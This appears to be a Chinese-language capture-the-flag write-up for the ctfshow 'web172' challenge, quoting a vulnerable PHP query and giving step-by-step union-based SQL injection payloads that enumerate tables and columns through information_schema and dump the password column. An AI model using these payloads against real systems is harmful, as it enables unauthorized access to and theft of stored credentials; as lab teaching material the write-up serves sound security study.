ctfshow-web入门-web172

php 复制代码
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";

联合查询

该题目与上一个题目不是同一个类型,该题目需要进行sql联合查询。

第一步:确定sql注入的类型。1' or 1=1 确定为字符型(根据上面的php代码也能确定)

第二步:使用order by确定列数 1' order by 3 --+

第三步:测试回显位:1' union select 1,2 --+

第四步:使用database(),查询数据库 1' union select 1, database() --+

第五步:查询表名

x union select 1,group_concat(table_name),x from information_schema.tables where table_schema=database() --+

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema="ctfshow_web" --+

第一个x代表是需要确定哪种注入类型。

第二个x代表是需要确定是有几个列,并且确定回显字段。

第六步:查询字段名:

x union select 1,group_concat(column_name),x from information_schema.columns where table_schema=database()&&table_name="查询到的表名" --+

1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database()&&table_name="ctfshow_user2" --+

1' union select 1,group_concat(column_name) from information_schema.columns where table_schema="ctfshow_web"&&table_name="ctfshow_user2" --+

两种方法均无法查询出字段名,因为语法出现问题。应该使用下列查询语句:加个括号

1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database()&&table_name="ctfshow_user2") --+

仍然不正确,在语句中不需要数据库的信息。

1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name="ctfshow_user2") --+

所以最开始语句的问题是多加了数据库的信息:

1' union select 1,group_concat(column_name) from information_schema.columns where table_name="ctfshow_user2" --+

第七步:查询字段值:

1' union select 1,group_concat(password) from ctfshow_user2 --+

1' union select 1,password from ctfshow_user2 --+

以上问题错误的原因:该题目只有一个数据库,因此在查询字段时不需要指定数据库名。

相关推荐
渣渣盟17 分钟前
数据库设计范式详解(纯小白版)
数据库·oracle·软考·数据库工程师
夜雪闻竹2 小时前
Cursor 对话导入:解析 SQLite 里的宝藏
数据库·sqlite·ai编程
hhb_6182 小时前
PL/SQL核心技术难点梳理与实战应用案例解析
数据库·sql
m0_470857642 小时前
PHP怎么实现工厂模式_Factory模式编写指南【指南】
jvm·数据库·python
用户434309241693 小时前
Day29:图片上传 + 存数据库(Multer + MySQL)
数据库·后端
lolo大魔王4 小时前
MongoDB 索引机制详解:单字段索引、复合索引、唯一索引与性能优化
数据库·mongodb
newnazi4 小时前
RedHat10 安装MS SQL Server2025
linux·服务器·数据库
KaMeidebaby4 小时前
卡梅德生物技术快报|单 B 细胞抗体制备:流程优化、表达系统适配与性能数据
前端·数据库·其他·百度·新浪微博
2301_783848654 小时前
mysql数据库迁移到云平台流程_使用数据传输服务DTS工具
jvm·数据库·python
爱喝水的鱼丶4 小时前
SAP-ABAP:ABAP函数 NUMBER_GET_NEXT 详解:从编号范围对象获取下一个编号
运维·数据库·学习·sap·abap